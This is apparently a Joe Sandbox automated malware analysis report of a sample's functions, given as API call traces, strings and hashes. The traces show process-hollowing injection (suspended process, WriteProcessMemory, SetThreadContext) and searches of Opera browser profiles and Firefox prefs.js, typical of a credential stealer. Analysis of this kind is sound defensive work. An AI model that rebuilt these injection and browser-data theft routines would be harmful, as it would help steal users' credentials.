Part of subcall function 00300B80: GetSystemTime.KERNEL32(?,02F46C20,003101E9,?,00000000,?,?,?,?,?,002F46E7,?,00000014), ref: 00300BA9

Strings

\*.*, xrefs: 002F11EB

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$CopyCreateDeleteFirstLocalNextlstrcat$AllocAttributesFolderFreeHandleObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 2220404975-1173974218
Opcode ID: 47fc87a0416f642c8cb18971b96e98ad066e03594a23030afaa733e76b30d0cf
Instruction ID: cce209395dd87e03840c4719b7d1c9b746985a2c68f53d7c7492db61c4798a9c
Opcode Fuzzy Hash: 47fc87a0416f642c8cb18971b96e98ad066e03594a23030afaa733e76b30d0cf
Instruction Fuzzy Hash: 7C32037193010CAADB59EBA0DD66EFDB378AF54780F404178F60666191EF70AB68CF60

Function 002FED80 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 157threadinjectionmemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 002FEDB8
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000004,00000000,00000000,?,?), ref: 002FEDDC
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 002FEDF6
GetThreadContext.KERNEL32(?,00000000), ref: 002FEE0C
ReadProcessMemory.KERNEL32(?,?,00000000,00000004,00000000), ref: 002FEE2C
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 002FEE45
ResumeThread.KERNEL32(?), ref: 002FEE55
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 002FEE70
WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 002FEEB7
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 002FEEE9
SetThreadContext.KERNEL32(?,?), ref: 002FEEFF
ResumeThread.KERNEL32(?), ref: 002FEF09

Strings

(, xrefs: 002FEEC4

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Process$MemoryThread$Write$AllocContextResumeVirtual$CreateReadmemset
String ID: (
API String ID: 1041758820-3887548279
Opcode ID: 2046ffb001da37487cd0db9ef7da6cda2268e22851e5182a2ef8cef2b77ae3af
Instruction ID: 49c1512ca63b7fe8e92a06e30ac416bed9e2dd52b1e531d3e7b8133ea3a6c3f3
Opcode Fuzzy Hash: 2046ffb001da37487cd0db9ef7da6cda2268e22851e5182a2ef8cef2b77ae3af
Instruction Fuzzy Hash: 295173B5A10209AFDB20CFA4DC85FAAB7B9FF48714F108519FA09E7290D774B815CB94

Function 003056C0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 137stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 003056DF
FindFirstFileA.KERNEL32(?,?), ref: 003056F6
StrCmpCA.SHLWAPI(?,003101DC), ref: 0030571C
StrCmpCA.SHLWAPI(?,003101D8), ref: 00305736
lstrcat.KERNEL32(?,02F431A8), ref: 00305774
lstrcat.KERNEL32(?,02F43188), ref: 00305788
lstrcat.KERNEL32(?,?), ref: 0030579C
lstrcat.KERNEL32(?,?), ref: 003057AA
lstrcat.KERNEL32(?,003101E0), ref: 003057BC
lstrcat.KERNEL32(?,?), ref: 003057D0

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 002F6C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,00000000,?,002F1916,?), ref: 002F6C3F
Part of subcall function 002F6C20: GetFileSizeEx.KERNEL32(00000000,?,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6C55
Part of subcall function 002F6C20: LocalAlloc.KERNEL32(00000040,?,?,?,002F1916,?), ref: 002F6C70
Part of subcall function 002F6C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,002F1916,?), ref: 002F6C89
Part of subcall function 002F6C20: CloseHandle.KERNEL32(00000000,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6CB1

Part of subcall function 003042A0: Sleep.KERNEL32(000003E8,?,?,?,?,?), ref: 00304345
Part of subcall function 003042A0: CreateThread.KERNEL32(00000000,00000000,Function_000130F0,?,00000000,00000000), ref: 0030438D
Part of subcall function 003042A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00304399

FindNextFileA.KERNEL32(00000000,?), ref: 00305863
FindClose.KERNEL32(00000000), ref: 00305872

Strings

%s\%s, xrefs: 003056D9

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeSleepThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 1833283839-4073750446
Opcode ID: 34801624abdd832f61dc10f32b1532abf688765ace642f374e34f9ddc27c691d
Instruction ID: adb1db75ac2e6cfe0abb2259ee302709cc96c9ce5a278d99a9c7f3a485bf1950
Opcode Fuzzy Hash: 34801624abdd832f61dc10f32b1532abf688765ace642f374e34f9ddc27c691d
Instruction Fuzzy Hash: 4541BAB551120CABDB29EB70DD99EFE737CAF54700F0485A8FA0592091EB709B49CF61

Function 002FA2C0 Relevance: 19.8, APIs: 7, Strings: 4, Instructions: 512fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,003101E9), ref: 002FA322
StrCmpCA.SHLWAPI(?,003101DC), ref: 002FA34C
StrCmpCA.SHLWAPI(?,003101D8), ref: 002FA366
StrCmpCA.SHLWAPI(00000000,Opera,003101E9,003101E9,003101E9,003101E9,003101E9,003101E9,003101E9), ref: 002FA3DD
StrCmpCA.SHLWAPI(00000000,Opera GX), ref: 002FA3F1
StrCmpCA.SHLWAPI(00000000,Opera Crypto), ref: 002FA405

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 00300D10: GetFileAttributesA.KERNEL32(00000000,?,?,002F1774,?,?,?,003101E9), ref: 00300D1D

Part of subcall function 002F9D40: FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,003101E9), ref: 002F9D8B
Part of subcall function 002F9D40: StrCmpCA.SHLWAPI(?,003101DC), ref: 002F9DAE
Part of subcall function 002F9D40: StrCmpCA.SHLWAPI(?,003101D8), ref: 002F9DC8

FindNextFileA.KERNEL32(?,?), ref: 002FA984

Strings

Opera, xrefs: 002FA3CF
Opera Crypto, xrefs: 002FA3F7
Opera GX, xrefs: 002FA3E3
\*.*, xrefs: 002FA2D9

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$Find$Firstlstrcat$AttributesNextlstrlen
String ID: Opera$Opera Crypto$Opera GX$\*.*
API String ID: 3824151033-1710495004
Opcode ID: e312d0cebb034a6f380600ffe975b97518e1251105716368c565adcb7c4ff5ce
Instruction ID: a95d30b7b4815c59133138c9a14bb7ebdd0f680996ec2837bd7460ae77511ef1
Opcode Fuzzy Hash: e312d0cebb034a6f380600ffe975b97518e1251105716368c565adcb7c4ff5ce
Instruction Fuzzy Hash: 9E12347192010C6BDB59FB70DE66EFDB378AF54780F404178F60662291EF70AA68CE61

Function 003053C0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 161stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 0030541D
memset.MSVCRT ref: 0030543E
GetDriveTypeA.KERNEL32(00000000), ref: 00305447
lstrcpy.KERNEL32(?,00000000), ref: 00305466
lstrcpy.KERNEL32(?,00000000), ref: 00305484
lstrcpy.KERNEL32(?,00000000), ref: 003054A7
lstrlen.KERNEL32(00000000), ref: 0030550E

Strings

*%DRIVE_REMOVABLE%*, xrefs: 003053EE
%DRIVE_REMOVABLE%, xrefs: 0030546D
%DRIVE_FIXED%, xrefs: 0030548B
*%DRIVE_FIXED%*, xrefs: 003053CF

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpy$Drive$LogicalStringsTypelstrlenmemset
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 1884655365-147700698
Opcode ID: f9d1ad991903f08d82108c21125a16cbe802c1ddafaf9f12a5ef7edf03c1a257
Instruction ID: b595b03306df3303b3a5d6b7f43fe58cd4436b38642cc9b82a41f5177c3bd5d5
Opcode Fuzzy Hash: f9d1ad991903f08d82108c21125a16cbe802c1ddafaf9f12a5ef7edf03c1a257
Instruction Fuzzy Hash: 4D519E71510208ABDB75EF30CD96FFE736CAF54740F548024FA0A6A292DF70AA59CB61

Function 002FAAB0 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 373filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 002FAAD0
FindFirstFileA.KERNEL32(?,?), ref: 002FAAE7
StrCmpCA.SHLWAPI(?,003101DC), ref: 002FAB0C
StrCmpCA.SHLWAPI(?,003101D8), ref: 002FAB26

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

lstrlen.KERNEL32(00000000,003101E9,00000000,?,?,?,003101E0,?,?,003101E9), ref: 002FABB6

Part of subcall function 00300B80: GetSystemTime.KERNEL32(?,02F46C20,003101E9,?,00000000,?,?,?,?,?,002F46E7,?,00000014), ref: 00300BA9

DeleteFileA.KERNEL32(00000000,00000000,?,02F45090,?,?,?,003101E0,?,00000000,?,02F43308), ref: 002FAE58
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002FAE72

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 002F6C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,00000000,?,002F1916,?), ref: 002F6C3F
Part of subcall function 002F6C20: GetFileSizeEx.KERNEL32(00000000,?,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6C55
Part of subcall function 002F6C20: LocalAlloc.KERNEL32(00000040,?,?,?,002F1916,?), ref: 002F6C70
Part of subcall function 002F6C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,002F1916,?), ref: 002F6C89
Part of subcall function 002F6C20: CloseHandle.KERNEL32(00000000,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6CB1

Part of subcall function 003042A0: Sleep.KERNEL32(000003E8,?,?,?,?,?), ref: 00304345
Part of subcall function 003042A0: CreateThread.KERNEL32(00000000,00000000,Function_000130F0,?,00000000,00000000), ref: 0030438D
Part of subcall function 003042A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00304399

FindNextFileA.KERNEL32(00000000,?), ref: 002FAF64
FindClose.KERNEL32(00000000), ref: 002FAF73

Strings

%s\*.*, xrefs: 002FAACA

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$lstrcpy$Find$CloseCreatelstrcatlstrlen$AllocCopyDeleteFirstHandleLocalNextObjectReadSingleSizeSleepSystemThreadTimeWaitwsprintf
String ID: %s\*.*
API String ID: 309841800-1013718255
Opcode ID: 7c6c7847df3b77c663ea4b972478af236543b496aa0119504b73a42c7240b211
Instruction ID: 28eef67b0024c8b9fc86cf21b386a92e55e7a94f07ac828387a502ac6bb4d16e
Opcode Fuzzy Hash: 7c6c7847df3b77c663ea4b972478af236543b496aa0119504b73a42c7240b211
Instruction Fuzzy Hash: 23E1137282010CAADB59FB60DD56EFDB338AF54780F404279F60662191EF706B68CF61

Function 002FB390 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 283fileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003134C0,003101E9), ref: 002FB3F2
StrCmpCA.SHLWAPI(?,003101DC), ref: 002FB41C
StrCmpCA.SHLWAPI(?,003101D8), ref: 002FB436
StrCmpCA.SHLWAPI(?,prefs.js,00000000,?,?,?,003101E0,?,?,003101E9), ref: 002FB4B0

Part of subcall function 00300B80: GetSystemTime.KERNEL32(?,02F46C20,003101E9,?,00000000,?,?,?,?,?,002F46E7,?,00000014), ref: 00300BA9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002FB562
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 002FB59A
DeleteFileA.KERNEL32(00000000), ref: 002FB63E

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 003010F0: memset.MSVCRT ref: 0030110A
Part of subcall function 003010F0: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,?,002F727B,?), ref: 0030113D
Part of subcall function 003010F0: RtlAllocateHeap.NTDLL(00000000), ref: 00301144
Part of subcall function 003010F0: wsprintfW.USER32 ref: 00301153
Part of subcall function 003010F0: OpenProcess.KERNEL32(00001001,00000000), ref: 003011BB
Part of subcall function 003010F0: TerminateProcess.KERNEL32(00000000,00000000), ref: 003011CA
Part of subcall function 003010F0: CloseHandle.KERNEL32(00000000), ref: 003011D1

FindNextFileA.KERNEL32(00000000,?), ref: 002FB6F5
FindClose.KERNEL32(00000000), ref: 002FB704

Strings

prefs.js, xrefs: 002FB4A4

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

